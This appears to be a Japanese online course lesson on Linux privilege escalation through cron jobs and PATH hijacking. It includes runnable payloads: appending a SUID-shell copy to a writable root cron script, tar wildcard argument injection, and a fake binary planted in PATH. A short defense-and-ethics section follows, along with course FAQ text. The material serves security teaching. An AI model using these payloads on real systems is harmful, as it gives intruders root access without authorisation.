CronジョブとPATH
スケジュールタスクの悪用
「CronジョブとPATH」はCoddyKit上の無料Ethical Hacking Academyレッスンです。 これはレッスン3/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはEthical Hacking Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Ethical Hacking Academyコースには全4レッスンが含まれています。
攻撃経路としてのCronジョブ
cronデーモンはスケジュールされたタスクを実行し、多くの場合rootとして動作します。rootのcronジョブが実行する内容(スクリプト、入力、コマンドの解決方法)に影響を与えられる場合、rootとしてコードを実行できます。
Cronの列挙
システムのcrontabとcronディレクトリを読み取ります。各ジョブを実行するユーザーと、呼び出されるスクリプトを確認してください。
cat /etc/crontab
ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly
cat /var/spool/cron/crontabs/* 2>/dev/null隠れたジョブの監視
明らかなファイルに記載されていないジョブもあります。pspyはroot権限なしでプロセスの生成を監視し、実行されたcronコマンドを明らかにします。設定ファイルを読めなくても確認できるコマンドが含まれます。
./pspy64
# watch for periodic root processes書き込み可能なCronスクリプト
最も単純な悪用方法は、rootのcronジョブが自分で書き換えられるスクリプトを実行するケースです。ペイロードを追記し、次回の実行を待ちます。
ls -la /opt/backup.sh # -rwxrwxrwx root
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /opt/backup.shワイルドカードインジェクション
rootのcronジョブが、管理下のディレクトリで tar -czf backup.tar.gz * のようなワイルドカードを使用している場合、コマンドラインオプションとして解釈される名前のファイルを作成できます(引数インジェクション)。これにより、tarに自分のコマンドを実行させられます。
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "cp /bin/bash /tmp/rb; chmod +s /tmp/rb" > shell.shPATHとは
PATH は、シェルがコマンドを検索するディレクトリの一覧です。スクリプトがコマンドを名前だけで呼び出す場合(/usr/bin/backup ではなく backup など)、PATH内で最初に一致したファイルが実行されます。
echo $PATH
# /usr/local/bin:/usr/bin:/binPATHハイジャック
rootで実行されるスクリプトが絶対パスなしでコマンドを呼び出し、そのPATHの先頭に書き込み可能なディレクトリを追加できる場合、その場所に同じ名前の悪意あるバイナリを配置します。rootはそのバージョンを実行します。
echo -e "#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb" > /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATHSUIDバイナリの相対パス
同じ欠陥は、完全なパスを指定せずに system("service ...") を呼び出すカスタムSUIDバイナリにも現れます。PATHを乗っ取ると、SUIDの仕組みとPATHの悪用を組み合わせて、rootとして自分のコードを実行できます —。
書き込み可能なPATHディレクトリの悪用
PATHを変更できなくても、既存のPATHディレクトリ(/usr/local/bin など)が書き込み可能で、rootのジョブがそこにあるコマンドを呼び出す場合は、その場所にバイナリを置くだけで済みます。
ls -ld /usr/local/bin # check for write permission攻撃のタイミング
cronを利用した権限昇格には忍耐が必要です — スケジュールされた実行を待たなければなりません。間隔を確認し、ペイロードを仕掛け、ジョブの実行後に結果(自分のSUIDシェルなど)を確認します。
watch -n 5 ls -la /tmp/rootbash防御と倫理
防御側は、スクリプトで絶対パスを使用し、cronスクリプトとそのディレクトリの権限を制限し、攻撃者が制御できるパスでのワイルドカードを避け、cron内で安全なPATHを設定する必要があります。これらの手法は、許可された環境でのみテストしてください。
クイックチェック
cronとPATHに関する知識を確認しましょう。
まとめ
cronとPATHを利用した権限昇格について学びました。
- 書き込み可能なスクリプトを呼び出すrootのcronジョブや、ワイルドカードを使うジョブは悪用できます
- pspyを使うと、隠れたスケジュールプロセスを見つけられます
- PATHハイジャックは、絶対パスなしで呼び出されたコマンドを悪用します
- ペイロードを仕掛け、スケジュールを待ち、root権限を取得します
次はカーネルエクスプロイトです。
よくある質問
「CronジョブとPATH」レッスンは無料ですか?
はい。「CronジョブとPATH」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Ethical Hacking Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Ethical Hacking Academyコースには全4レッスンが含まれています。
「CronジョブとPATH」で何を学びますか?
スケジュールタスクの悪用 ブラウザで直接実行するハンズオンコードでEthical Hacking Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
Ethical Hacking Academyを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのEthical Hacking Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン3/4です。
「CronジョブとPATH」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このEthical Hacking Academyレッスンでコードを書いて実行できますか?
はい。すべてのEthical Hacking Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- 列挙
- SUIDとsudoの悪用
- CronジョブとPATH
- カーネルエクスプロイト